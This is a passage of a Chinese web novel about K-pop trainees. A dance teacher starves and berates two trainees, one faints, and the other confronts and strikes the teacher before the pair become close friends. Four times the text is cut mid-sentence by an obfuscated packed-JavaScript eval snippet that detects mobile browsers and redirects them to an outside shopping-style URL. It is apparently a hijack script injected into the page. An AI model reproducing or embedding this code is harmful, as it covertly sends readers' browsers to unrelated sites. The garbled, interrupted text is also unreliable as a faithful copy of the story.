练习室里传来音乐声和脚步声,隐约能听见舞蹈老师在里面喊节奏。姜智恩竖起耳朵听了听,发现是XOX的《Blue》。 那个舞蹈视频,她看过。复杂得要命,光是走位就能把人绕晕。 “你怎么也迟到了?”她小声问。 金钟沄微微侧过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352953|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,压低声音回答:“我没迟到。” “那你怎么在这儿?” “因为我长胖了。” 姜智恩一时没反应过来:“……啊?” 金钟沄面无表情地看着墙壁,语气平静得像在说今天天气不错:“老师说我的体重超标了,让我在外面站着,想清楚了再进去。” 姜智恩转头打量他。 说实话,金钟沄一点都不胖。非但不胖,甚至可以说是偏瘦的那一类。只是脸有点肉嘟嘟的,看起来显小,像个还没长开的大男孩。 “你超标多少?”她问。 “不知道,”金钟沄说,“她没让我上秤。” 姜智恩沉默了两秒,突然没忍住,“噗”地笑出声。 金钟沄转头看她,眼神有点委屈:“你笑什么?” “没什么,”姜智恩努力憋住笑,“就是觉得,公司对‘胖’的定义,可能和我们普通人不太一样。” 金钟沄叹了口气,重新面朝墙壁:“反正就是罚站嘛,我习惯了。” “你经常被罚?” “也不算经常,”金钟沄想了想,“大概一周三四次吧。” 姜智恩:“……那不就是经常?” 金钟沄没说话,算是默认了。 走廊里安静了一会儿,只听见练习室里的音乐声隐隐约约地传出来。姜智恩突然想起什么,问:“你练习多久了?” “五年。” 姜智恩愣了一下。 五年。这个看起来和自己差不多大的男生,已经在这里默默练习了五年。 可是却还没有等来出道的消息…… 练习生之间的竞争真残酷。 以后,她也是其中一员,只是不知道她多久才能出道。 “那你……”她斟酌着措辞,“觉得苦吗?” 金钟沄转头看她,眼神里带着一点认真:“你问这个干什么?” “就是好奇,”姜智恩说,“我昨天才来,什么都不懂。想听听你的想法。” 金钟沄沉默了一会儿,然后说:“苦肯定是苦的,但也不是不能忍。” “那最难忍的是什么?” “饿。” 姜智恩又笑了。 金钟沄却一脸认真:“真的。每天早上六点起床,跑步,练声,练舞,练到晚上十点。中间只能吃两顿饭,还都是定量的,多一点都没有。饿得受不了的时候,就喝水。” 他说着,摸了摸自己的肚子:“所以我其实不懂,我到底哪儿胖了。” 姜智恩看着他,心里突然有点酸。 金钟云说话的时候,语气里没有抱怨,也没有委屈,只是在陈述一个事实。就好像这些苦,对他来说都是理所当然的,是通往梦想必须付出的代价。 她想起李绣满昨天说的话——“我培养的,不只是偶像,是能让人们记住的人。” 能让人们记住的人。 要付出什么样的代价,才能让人们记住呢? 她正想着,练习室的门突然开了。 一个穿着紧身运动服的女人走出来,手里拿着一根细长的教鞭,目光冷冷地从两人脸上扫过。 “新来的那个,”她看着姜智恩,“第一天就迟到,挺有本事啊。” 12. (012) 姜智恩低下头,老老实实认错:“对不起,老师。” “对不起有用吗?”女人的声音尖锐,“你知道你的位置,有多少人盯着吗?你知道有多少人挤破头想进来,却连门都摸不着吗?” 姜智恩攥紧拳头,没有说话。 “还有你,”女人转向金钟沄,“让你在外面想清楚,你想清楚了吗?” 金钟沄抬起头,直视着她的眼睛:“想清楚了。” “想清楚什么了?” “我会瘦下来的。” 女人冷笑一声:“瘦下来?你进公司五年了,瘦下来了吗?” 金钟沄抿了抿嘴唇,没有说话。 女人打量了他一会儿,突然说:“行,既然你这么有信心,那我帮你一把。今天晚饭别吃了,留下来加练。什么时候把《Blue》的副歌部分跳顺了,什么时候回家。” 她看向姜智恩:“你也一样。迟到的人,没资格吃饭。” 姜智恩的心往下沉了沉,但她没有反驳,只是点了点头:“是,老师。” 女人哼了一声,转身进了练习室,门“砰”的一声关上了。 走廊里重新安静下来。 金钟沄扭头看姜智恩,小声说:“对不起,连累你了。” “连累什么,”姜智恩苦笑了一下,“本来就是我自己迟到了。” “那你饿不饿?” 姜智恩想了想,诚实地点头:“饿。” 早上急着出门,只来得及喝了一杯水。现在都快中午了,肚子早就开始叫了。 金钟沄沉默了一会儿,突然从口袋里掏出一样东西,迅速塞到她手里。 姜智恩低头一看,是一块压缩饼干,包装纸已经被捂得有点皱了。 “你……” “嘘!”金钟沄竖起食指贴在嘴唇上,警惕地看了看四周,“快吃,别让人看见。” 姜智恩看着手里那块小小的饼干,心里涌起一股暖流。她抬头看金钟沄,发现他正紧张地东张西望,像一只放哨的小仓鼠。 “你不吃吗?”她小声问。 “我习惯了,”金钟沄说,“你第一次被罚,扛不住的。” 姜智恩没再客气,迅速撕开包装,三两口就把饼干吃完了。虽然不多,但好歹肚子里有了点东西,没那么难受了。 “谢谢。”她说。 金钟沄摇摇头,咧嘴笑了一下,露出两颗小虎牙:“客气什么,都是难兄难弟。” 姜智恩看着他,突然觉得这个男生笑起来还挺好看的。 * 下午的训练比想象中更残酷。 舞蹈老师姓朴,是个四十来岁的中年女人,据说曾经是某知名女团的编舞,后来因为伤病退居幕后,来SM当起了练习生导师。她对舞蹈的要求苛刻到近乎变态,每一个动作、每一个角度、甚至每一个表情都要精确到毫厘。 姜智恩是新人,很多动作跟不上,被朴老师拎出来单独纠正了不下二十次。 每次纠正的时候,那根细长的教鞭就会点在她身上,点一下,说一句“这里不对”,再点一下,说一句“重来”。 等到下午的训练结束,她的腿已经酸得快要站不稳了。 但惩罚还没完。 所有人都走了,练习室里只剩下她和金钟沄,还有站在镜子前的朴老师。 “开始吧,”朴老师说,“什么时候跳顺了,什么时候停。” 音乐响起。 姜智恩深吸一口气,跟着节奏开始跳。 《Blue》的副歌部分节奏极快,动作密集,走位复杂。她跳了不到三分之一,就跟不上了。 “停。” 朴老师的声音冷冷地响起。 姜智恩停下来,大口喘着气。 “你跳的是什么?”朴老师走到她面前,“我教的是这个吗?” 姜智恩低着头,不敢说话。 “从头再来。” 音乐再次响起。 姜智恩咬着牙,拼命跟上节奏。这一次她多坚持了几秒,但在一个旋转动作上失了平衡,差点摔倒。 “停。” 朴老师的声音更冷了。 姜智恩的眼泪在眼眶里打转,但她拼命忍着,不让它掉下来。 “再来。” 一遍,两遍,三遍。 十遍,二十遍,三十遍。 姜智恩已经不记得自己跳了多少遍了。她只知道天黑了,窗外亮起了灯光,而她的腿像灌了铅一样沉重,每一次抬起来都要用尽全力。 金钟沄也在跳。 他的动作比她熟练得多,几乎不会出错。但他没有停,一遍一遍地陪着她跳,偶尔在她快要摔倒的时候伸手扶一下,或者在她跳错的时候小声提醒“这里要转身”。 朴老师坐在角落的椅子上,拿着手机刷着什么,偶尔抬头看一眼,然后继续低头。 姜智恩的视线开始模糊。 不是因为哭,是因为累。 她觉得自己好像变成了一台机器,机械地重复着那些动作。脑子已经不转了,身体却还在动,像是有一种惯性在支撑着她。 不知道又跳了多少遍,她终于听见金钟沄喊了一声:“老师,跳顺了。” 朴老师抬起头,懒洋洋地看了一眼:“是吗?跳一遍我看看。” 音乐响起。 姜智恩和金钟沄一起跳起来。 这一次,她的动作终于没有出错了。虽然还是有点僵硬,但至少每一个动作都到位了,节奏也跟上了。 跳完之后,两人站在镜子前,大口喘着气,等着朴老师的评价。 朴老师站起来,走到他们面前,上下打量了一会儿,然后说:“勉强及格。” 姜智恩心里一松,差点瘫倒在地。 “但是,”朴老师话锋一转,“这只是最低标准。明天继续练,什么时候练到不用想就能跳出来,什么时候算完。” 她说完,拎起包就往外走,走到门口的时候突然停下脚步,回头看了一眼金钟沄。 “对了,明天上秤。要是体重还没下来,你知道后果。” 门关上了。 练习室里只剩下两个人,还有墙上镜子里他们疲惫不堪的倒影。 姜智恩终于撑不住了,一屁股坐在地上,大口喘着气。 金钟沄也在她旁边坐下,仰头看着天花板,一句话不说。 两个人就这么安静地坐了很久。 “饿吗?”金钟沄突然问。 姜智恩想说话,却发现嗓子干得发不出声音。她摇了摇头,又点了点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352954|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 金钟沄站起来,走到角落的饮水机旁,接了一杯水递给她。 姜智恩接过来,一口气喝完。水是凉的,顺着喉咙流下去,胃里一阵痉挛。 她突然觉得眼前一黑。 “金钟沄……” 她只来得及喊出他的名字,就什么都看不见了。 * 金钟沄眼睁睁看着姜智恩的身体往旁边倒去,脑子里“嗡”的一声,什么都没想,直接扑过去接住了她。 “姜智恩!姜智恩!” 她的眼睛闭着,脸色白得像纸,嘴唇一点血色都没有。 金钟沄的手在发抖。 他想起妈妈说过,人要是突然晕过去,可能是心脏的问题,可能是脑子的问题,可能是……他不敢往下想了。 “来人啊!”他大喊,“来人啊!有人晕倒了!” 走廊里空荡荡的,一个人都没有。 金钟沄急得眼泪都快出来了。 他蹲下身,想把姜智恩抱起来,却发现自己的腿也在发软。跳了一下午舞,他也没力气了。 但他没有放弃。 他咬着牙,把姜智恩的手臂搭在自己肩膀上,半拖半抱地往外走。 “坚持住,”他一边走一边说,也不知道是在对姜智恩说还是在对自已说,“我马上送你去医务室,坚持住……” 走廊很长,长到他觉得永远走不到尽头。 每走一步,腿都在发抖。每走一步,汗水就顺着额头往下流。但他没有停,也不敢停。 终于,他看见了医务室的门。 他用尽最后一点力气,用脚踢开了门。 “医生!”他大喊,“医生!有人晕倒了!” 医务室里只有一个年轻的女医生,正在低头看手机。听见喊声,她猛地站起来,看见金钟沄怀里抱着的人,脸色一变,立刻跑过来帮忙。 “怎么回事?” “不知道,”金钟沄喘着气说,“刚才还好好的,突然就晕了……” 女医生让金钟沄把姜智恩放在病床上,迅速检查了一下她的瞳孔、脉搏、呼吸。然后她从抽屉里拿出一个血糖仪,在姜智恩指尖扎了一下。 数值很快显示出来。 “低血糖,”女医生松了口气,“饿的。打一针葡萄糖就没事了。” 金钟沄靠在墙上,大口喘着气,悬着的心终于放下来一半。 女医生一边准备注射器,一边问:“你们是练习生吧?怎么搞成这样?” 金钟沄张了张嘴,想说话,却发现自己不知道该说什么。 说朴老师罚他们加练?说朴老师不让他们吃晚饭?说姜智恩第一天来就迟到了,所以活该被罚? 他突然觉得很愤怒。 不是对姜智恩,不是对自己,是对朴老师。 她凭什么? 凭什么一句话就可以不让学生吃饭?凭什么可以随便罚学生加练到深夜?凭什么可以看着学生累晕过去却无动于衷? 他想起这些年来,自己挨过的那些罚。有时候是因为体重,有时候是因为动作不到位,有时候是因为表情管理不好。每一次,朴老师都有理由,每一次,他都觉得是自己不够努力。 可是现在,看着躺在病床上的姜智恩,他突然觉得不对了。 13. (013) 努力是对的,严格要求也是对的。 但不让人吃饭,把人练到晕倒,这真的是对的吗? 女医生打完针,又给姜智恩量了血压,确认没有其他问题之后,才松了口气。 “让她躺一会儿,”她对金钟沄说,“你去给她弄点吃的,最好是甜的。” 金钟沄点点头,转身就往外跑。 等他端着一杯热糖水回来的时候,姜智恩已经醒了。 她躺在病床上,脸色还是有点白,但眼睛已经睁开了,正茫然地看着天花板。 “你醒了?”金钟沄快步走过去,把糖水递给她,“快喝,医生说你要补充糖分。” 姜智恩接过杯子,喝了一口,温热的水顺着喉咙流下去,胃里暖暖的。 她抬起头,看着金钟沄。 他的头发乱糟糟的,脸上全是汗,T恤也被汗水浸透了,贴在身上。但那双眼睛亮亮的,正紧张地盯着她,生怕她再晕过去似的。 “谢谢你。”她说。 金钟沄愣了一下,然后咧嘴笑了:“谢什么,你没事就好。” 姜智恩也笑了。 两个人对视着,莫名其妙地笑了一会儿,然后又莫名其妙地安静下来。 “你知道吗,”金钟沄突然说,“我刚才特别害怕。” 姜智恩看着他。 “我怕你醒不过来,”他说,声音有点低,“我怕是因为我没照顾好你,才让你晕倒的。” 姜智恩心里一暖,想说“不是你的事”,但话还没出口,就被他打断了。 “但后来我想明白了,”金钟沄抬起头,看着她,目光变得坚定,“这不是我的错。是朴老师的错。” 姜智恩愣住了。 金钟沄站起来,走到窗边,看着窗外的夜色。 “我当练习生五年了,挨了无数骂,罚了无数次站。我一直觉得是自己不够好,不够努力,不够瘦。可是今天我才发现,不对,不是这样的。” 他转过身,看着姜智恩。 “我们已经很努力了。每天起早贪黑,练到腿都抬不起来,连饭都不敢多吃。我们这么努力,不是为了让她随便骂、随便罚的。” 姜智恩看着他,心里涌起一股复杂的情绪。 这个男生,平时看起来有点憨,有点软,像个小仓鼠一样任人揉捏。可是这一刻,他的眼睛里有一种她从未见过的东西。 那是一种被压抑了很久,终于忍不住要爆发出来的东西。 “你要干什么?”她问。 金钟沄沉默了一会儿,然后说:“我要去找她。” “现在?” “现在。” 姜智恩挣扎着坐起来:“我跟你一起去。” “你别动,”金钟沄按住她,“你刚打完针,好好躺着。这件事我自己处理。” 姜智恩想说什么,却被他打断了。 “相信我。”他说。 姜智恩看着他的眼睛,终于点了点头。 * 金钟沄找到朴老师的时候,她正在办公室收拾东西准备下班。 门被推开,朴老师抬头看了一眼,发现是他,眉头立刻皱了起来。 “你怎么还在这儿?不是让你们回家了吗?” 金钟沄走进去,站在她面前,直视着她的眼睛。 “朴老师,我有话跟你说。” 朴老师挑了挑眉,放下手里的包,靠在椅背上,抱着手臂看着他。 “说吧。” 金钟沄深吸一口气,把一路上想的那些话在脑子里过了一遍,然后开口。 “今天姜智恩晕倒了。医生说,是饿的,低血糖。” 朴老师的表情没有什么变化:“然后呢?” “然后我想跟你说,以后能不能别再这样罚学生了?” 朴老师笑了一下,是那种带着嘲讽的笑:“你这是在教我做事?” “不是,”金钟沄说,“我只是觉得,这样不对。” “哪里不对?” “不让学生吃饭,让学生练到晕倒,这不对。” 朴老师站起来,慢慢走到他面前。 她比金钟沄矮一点,但站在他面前的时候,气势却完全压过了他。 “你知道我当年当练习生的时候,是怎么过来的吗?”她说,“每天只睡四个小时,一天只吃一顿饭,练舞练到膝盖肿得走不了路,第二天照样爬起来继续练。有人晕倒过吗?有。有人退出过吗?有。但最后出道的那些人,没有一个不是这么熬过来的。” 她盯着金钟沄的眼睛,一字一句地说:“你以为当偶像是过家家?你以为站在舞台上闪闪发光是轻轻松松就能做到的?我告诉你,不是。想出道,就得脱层皮。吃不了这个苦,趁早滚蛋。” 金钟沄的拳头攥紧了。 “可是,”他咬着牙说,“吃苦和受虐是两回事。” 朴老师的脸色变了。 “你说什么?” 金钟沄知道自己已经踩到红线了,但他没有退缩。 “我是说,”他一字一句地说,“让我们努力练习,是对的。但用惩罚当借口,用语言贬低我们,用不给饭吃来折磨我们,这不是训练,这是虐待。” 朴老师的眼睛里闪过一丝危险的光。 “你知道你在跟谁说话吗?” “我知道。”金钟沄说,“你是我们的舞蹈导师。但导师不是用来折磨学生的,是用来教学生的。” 朴老师盯着他看了很久,然后突然笑了。 那笑声冷冷的,像冬天里的风。 “金钟沄,”她说,“你觉得自己很了不起是吗?觉得自己很有道理是吗?” 她上下打量着他,目光里满是轻蔑。 “那我问你,你进公司五年了,有什么成绩吗?有什么进步吗?有什么拿得出手的东西吗?” 金钟沄抿着嘴唇,没有说话。 “没有,”朴老师替他回答了,“什么都没有。你除了那张脸还能看,还有什么?跳舞一般,唱歌一般,表现力一般。唯一的优点就是听话,让干什么干什么。现在连这个优点都没了。” 她走近一步,压低声音说:“你知道你为什么五年了还没出道吗?” 金钟沄的心猛地揪紧。 “因为你不行。” 朴老师的声音像刀子一样,一刀一刀剜在他心上。 “你不行,你不够好,你没有那个天赋。你以为努力就有用?你以为吃苦就能成功?别做梦了。这行不缺努力的人,缺的是有天赋的人。你有天赋吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352955|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有。” 金钟沄的指甲深深陷进掌心。 “而且,”朴老师上下打量着他,目光里满是嘲讽,“你还好意思跟我说什么虐待?你自己看看你那个样子,胖成什么样了?就你这样还想出道?做梦呢吧?” 金钟沄的脑子里“嗡”的一声。 他听见自己的声音,冷冷的,像从很远的地方传来。 “你说什么?” “我说你胖,”朴老师一字一句地说,“你这辈子都出不了道,因为你就是个胖子。胖子不配上舞台,胖子不配当偶像,胖子就该滚回家吃你的饭,别在这儿丢人现眼——” 话音未落,金钟沄的拳头已经挥了出去。 * 这件事闹大了。 第二天,整个SM大楼都在传:有个练习生打了老师。 被停课,被叫家长,被要求写检讨。有人说他完了,打了老师的人,这辈子别想出道了。有人说他活该,老师再不好也是老师,怎么能动手? 金钟沄什么都没说。 他坐在家里,看着窗外的天空,一遍一遍地想:我真的错了吗? 朴老师说的那些话,他听过无数遍了。有人说他胖,有人说他不行,有人说他没天赋。他都忍了。 可是这一次,不知道为什么,他忍不了了。 也许是因为姜智恩躺在病床上的那张脸。也许是因为他想起这五年来,有多少个夜晚,自己饿着肚子躺在宿舍床上,一遍一遍地问自己:我真的不行吗? 他不知道答案。 他只知道,如果再给他一次机会,他还是会挥出那一拳。 * 姜智恩得知这个消息的时候,正在练习室里练舞。 她的手抖了一下,差点把手机摔在地上。 “金钟沄打人了?” 给她传消息的练习生点点头:“听说朴老师说了很难听的话,他一怒之下就动手了。现在被停课了,不知道还能不能回来。” 姜智恩的脑子里一片空白。 她想起那天晚上,金钟沄说“相信我”的时候,眼睛里那种坚定的光。 她想起他把她从练习室拖到医务室,一路上都在说“坚持住”。 她想起他递给她那杯糖水时,脸上如释重负的笑容。 然后她想起,这一切都是因为她。 如果不是她迟到,如果不是她被罚,如果不是她晕倒,金钟沄就不会去找朴老师,就不会动手,就不会被停课。 都是因为她。 姜智恩站在练习室里,看着镜子里的自己,突然做了一个决定。 她放下手机,转身就往外走。 “你去哪儿?”身后的练习生喊。 “去找李绣满老师。” * 李绣满的办公室在三楼最里面。 姜智恩站在门口,深吸一口气,敲了敲门。 “进来。” 她推开门,走进去。 李绣满正坐在办公桌后面看文件,抬头看见她,微微挑了挑眉。 “姜智恩?你找我什么事?” 李绣满放下文件,靠进椅背里,打量着她。 姜智恩攥紧拳头,让自己冷静下来。 “我想跟您说一件事。” 14. (014) “说。” “关于金钟沄打人的事。” 李绣满的眼神微微动了动,但表情没有任何变化。 “你想说什么?” 姜智恩深吸一口气,把那天发生的事从头到尾说了一遍。从她迟到被罚,到金钟沄给她饼干吃,到两人一起加练到深夜,到她晕倒,到金钟沄送她去医务室,到最后金钟沄去找朴老师。 “他打人是不对,”姜智恩说,“我知道。但是他为什么会打人,您知道吗?” 李绣满没有说话。 “朴老师说他是胖子,说他这辈子都出不了道,说他不配上舞台,说他就该滚回家。”姜智恩的声音有点发抖,“她说的那些话,比打人更伤人。金钟沄忍了五年了,忍了无数遍这样的话。他只是……只是这一次没忍住而已。” 李绣满沉默了很久。 然后他开口了:“你知道公司为什么要有训练生制度吗?” 姜智恩愣了一下。 “因为我们要培养的是能站在舞台上的人,”李绣满说,“舞台上的光鲜亮丽,背后是无数个日夜的苦练。这个过程,本来就是残酷的。老师严格要求,是希望你们能变得更好。” “可是……” “可是,”李绣满打断她,“严格要求不代表人格侮辱。这一点,我同意你。” 姜智恩愣住了。 李绣满站起来,走到窗边,背对着她。 “朴老师的事,我会处理。至于金钟沄……” 他转过身,看着姜智恩。 “你很讲义气。” 姜智恩不知道该说什么。 “为他跑到我这儿来求情,你知不知道,你自己也是新来的,自身都难保?” “我知道,”姜智恩说,“但他是为了我才这样的。我不能不管。” 李绣满看着她,眼睛里闪过一丝复杂的情绪。 过了很久,他点了点头。 “好,我给他一次机会。” 姜智恩的眼睛一下子亮了:“真的?” “让他明天回来上课,”李绣满说,“但告诉他,下不为例。” 姜智恩拼命点头:“谢谢您!谢谢您!” 李绣满看着她激动的样子,嘴角微微扬起一点弧度。 “行了,出去吧。” 姜智恩鞠了一躬,转身就往外跑。 跑到门口的时候,李绣满突然叫住她。 “姜智恩。” 她回过头。 李绣满看着她,缓缓地说:“你这样的性格,在这行里,要么走得最远,要么摔得最惨。自己把握好。” 姜智恩愣了一下,然后认真地点了点头。 “我知道了。谢谢您。” 门关上了。 李绣满站在窗边,看着窗外的天空,若有所思。 * 姜智恩从公司出来的时候,天已经快黑了。 她站在门口,看着来来往往的人群,突然想起一个问题:金钟沄在哪儿? 她不知道他住在哪儿,也没有他的联系方式。唯一知道的是,他还在上学,好像是什么大学。 姜智恩想了想,决定去碰碰运气。 她坐上公交车,去了离SM最近的那所大学。之前听人说过,很多练习生为了方便训练,都会选这附近的学校。 到了学校门口,正好赶上下课时间,学生们三三两两地往外走。 姜智恩站在门口,瞪大眼睛在人群里找。 找了半天,没找到。 她有点失望,正要离开的时候,突然看见一个熟悉的身影从教学楼里走出来。 是他! 她的心猛地跳了一下,正要喊他,却看见他身边还跟着一个人。 一个女孩。 女孩长得很漂亮,扎着高高的马尾,穿着校服裙,笑起来眼睛弯弯的。她正仰着头跟金钟沄说话,金钟沄一边走一边点头,脸上带着淡淡的笑容。 姜智恩的脚步顿住了。 她站在原地,看着那两个人并肩走着,有说有笑,看起来那么自然,那么亲密。 她突然觉得自己有点多余。 她是来告诉他好消息的。可是现在,他身边有人陪着,有说有笑的,应该不需要她了吧? 姜智恩低下头,转身就往回走。 她没看见,就在她转身的那一刻,金钟沄突然转过头来。 他看见了那个熟悉的背影。 “智恩?” 旁边的女孩愣了一下:“谁?” 金钟沄没回答。他看着那个越走越远的背影,心脏突然跳得很快。 他想起那天晚上,她躺在病床上,笑着对他说“谢谢你”。 “你先走,”他对身边的女孩说,“我有点事。” “哎?”女孩还没反应过来,就看见金钟沄已经跑出去了。 他跑得很快,快得像要把风都甩在后面。 “姜智恩!” 他大喊。 姜智恩的脚步顿住了。 她没有回头。 金钟沄跑到她面前,气喘吁吁地看着她。 “你怎么来了?” 姜智恩抬起头,看着他,挤出一个笑容:“我来告诉你,李绣满老师同意让你恢复上课了。” 金钟沄愣住了。 “你……你去找老师了?” “嗯。” “为了我?” 姜智恩点点头。 金钟沄看着她,心里涌起一股说不清的情绪。他想说谢谢,想说对不起,想说你为什么要为我做这些,但话到嘴边,却变成了:“那你为什么要走?” 姜智恩愣了一下。 “我看见你身边有人,”她说,“不想打扰你们。” 金钟沄看着她,突然笑了。 “那是我同学,”他说,“一起做小组作业的。” 姜智恩的脸一下子红了。 “哦……哦。” 金钟沄看着她红透的耳朵,笑得更大声了。 “姜智恩,”他说,“你是来找我的,为什么要走?” 姜智恩低着头,不知道该说什么。 金钟沄收起笑容,认真地看着她。 “谢谢你。” 姜智恩抬起头,对上他的眼睛。 那双眼睛亮亮的,像那天晚上把她从练习室拖到医务室时一样,充满了坚定的光。 “不客气,”她说,“我们是朋友嘛。” 金钟沄愣了一下,然后笑了。 “对,”他说,“我们是朋友。” 夕阳西下,把两个人的影子拉得很长很长。 远处,SM大楼的灯光亮了起来,像一颗星星。 * 练习室的灯亮到深夜已经是常态,但今晚的光似乎格外温暖。 姜智恩对着镜子一遍遍抠着新舞的动作,额头的汗珠顺着脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352956|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊滑落,滴在地板上洇开一小块深色。她的呼吸越来越重,可动作还是卡在第三个小拍上。那个转身后紧接着的wave,她怎么做都不对。 “停。” 金钟沄从角落里站起来,手里还攥着半瓶水。他走到她身边,对着镜子看了看,然后伸手按住她的肩膀。 “你太用力了。”他说,“这个动作不是靠蛮力,是靠这里……你看着,我来跳一遍!” 他指了指自己的腰胯,然后做了一个慢放的示范。明明那么大的块头,动起来却意外地轻盈,像一头在跳舞的熊,笨拙里透着奇异的柔软。 姜智恩看呆了。 “看清楚了吗?”金钟沄回过头,“你的问题在这儿,你总是先耸肩,但发力点应该在腰。” 姜智恩点点头,深吸一口气,又试了一次。 还是不对。 再来。 还是不对。 她的眼眶开始发酸,不是因为累,是因为挫败。 距离月末评价只剩一周,这个动作她练了三天了,三天! “别急。”金钟沄的声音从身后传来,然后她感觉到一双手轻轻按在她的腰侧,“跟着我。” 他站在她身后,隔着一点距离,用手的动作引导她的身体。不是那种让人不舒服的贴近,而是像一个耐心的老师,带着她一点点感受发力的顺序。 “先沉肩,腰往右送,对,然后左胯发力……” 姜智恩闭上眼睛,跟着他的引导走。 这一次,动作顺了。 她睁开眼睛,从镜子里看见金钟沄脸上绽开的笑容。那笑容太亮了,亮得她心脏漏跳了一拍。 “对了!”他松开手,拍了拍她的肩,“再来一遍,自己来。” 姜智恩又做了一遍,这一次流畅得像水。 “成了!”她转身想跟他击掌,却看见他已经坐回角落,翻开了一个笔记本。 “过来,”他朝她招手,“轮到你了。” 姜智恩走过去,才发现那是她的声乐练习谱子,上面密密麻麻地做了标注。哪里换气,哪里该用真声,哪里要收着唱,全用不同颜色的笔标了出来。 “你什么时候弄的?”她惊讶地翻着。 “这几天你练舞的时候。”金钟沄挠了挠头,“反正我也在等你。” 姜智恩看着那些标注,心里涌起一股热流。她想起白天她帮他抠舞蹈细节时,他总是认真地点头,一遍遍地试,从来不喊累。而晚上练习结束,他又会留下来陪她练声乐,用他那副天生的好嗓子给她做示范。 “你唱一遍试试,”他说,“从第二段开始,注意换气的位置。” 姜智恩清清嗓子,开始唱。唱到一半,金钟沄突然喊停。 “这里,”他指着谱子,“你太紧张了,声音在抖。放松,想象你在跟人说话,不是在考试。” 姜智恩深吸一口气,再来。 还是不行。 金钟沄想了想,说:“你看着我,就当我是观众,唱给我听。” 姜智恩看着他。 练习室的灯光打在他脸上,把他的轮廓照得很柔和。她突然想起第一次见他时,他低着玩手机的样子;想起他给自己饼干时,小心翼翼的表情;想起他跑向自己时,气喘吁吁却眼睛发亮的样子。 她开口唱。 这一次,声音稳了。 唱完最后一句,金钟沄笑着鼓掌:“对了对了!就是这样!” 15. (015) 姜智恩不好意思地低下头,却在低头的瞬间看见他的脚。他脚上那双旧运动鞋的鞋底,已经磨得几乎要透了。 她愣了一下,想起他从来不参加练习生们的聚餐,想起他总是带最便宜的便当,想起有人说他家境不好,全靠自己打工支撑着练习生的费用。 “金钟沄。”她突然开口。 “嗯?” “你……你鞋底快磨破了。” 金钟沄低头看了看自己的脚,笑了笑:“没事,还能穿。” 姜智恩没说话,但心里记下了。 窗外的城市已经沉入深夜,只有这间练习室的灯还亮着。两个人并肩坐在地板上,对着镜子里的自己,也对着镜子里的彼此。 “你说,”姜智恩突然问,“我们真的能出道吗?” 金钟沄沉默了一会儿,然后说:“不知道。” 姜智恩转头看他。 “但是,”他继续说,眼睛看着镜子里的自己,“如果不能出道,我也想知道自己尽力了是什么样子。” 姜智恩愣了一下,然后笑了。 “那我们说好了,”她伸出小拇指,“一起尽力。” 金钟沄看着她的手,也伸出自己的小拇指,轻轻勾住。 “嗯,一起。” 窗外,城市的灯火一盏盏熄灭,但这间练习室里的光,还亮着。 * 凌晨三点四十七分。 姜智恩失眠了。 她躺在床上,眼睛盯着天花板。 练习室里的那个画面在脑子里挥之不去。 金钟沄的笑容还在脑海里反反复复,以及,那双磨得几乎要透了的鞋底,他低头看鞋时无所谓的笑,还有拉钩时他手指的温度。 姜智恩翻了个身,枕头被压得陷下去一块。她拍了下脑门,腾的一声坐起来。 金钟沄是SM公司里对她很好的朋友。 他们经常在一起练习,金钟沄甚至牺牲自己的休息时间,给她辅导声乐和舞蹈。 可是他却穿着一双破烂的球鞋…… 姜智恩怎么也忍不了! 她拿出手机,手机屏幕亮起的光刺得她眯起眼睛。 打开购物网站,在搜索框里输入“运动鞋男款”,想了想,又删掉,重新输入“平价运动鞋耐穿”。 页面加载出来,她划拉着屏幕,一双一双地看。 二百多的,一百多的,甚至还有几十块的。她点开那些评论,看买家秀里鞋底的照片,看“穿了三个月还没坏”之类的评价。 最后她选了一双黑色的,款式简单,评论区都说耐穿。价格是四万八千韩元——她这个月的生活费还剩七万,撑到月底没问题。 加入购物车的时候,她顿了顿。 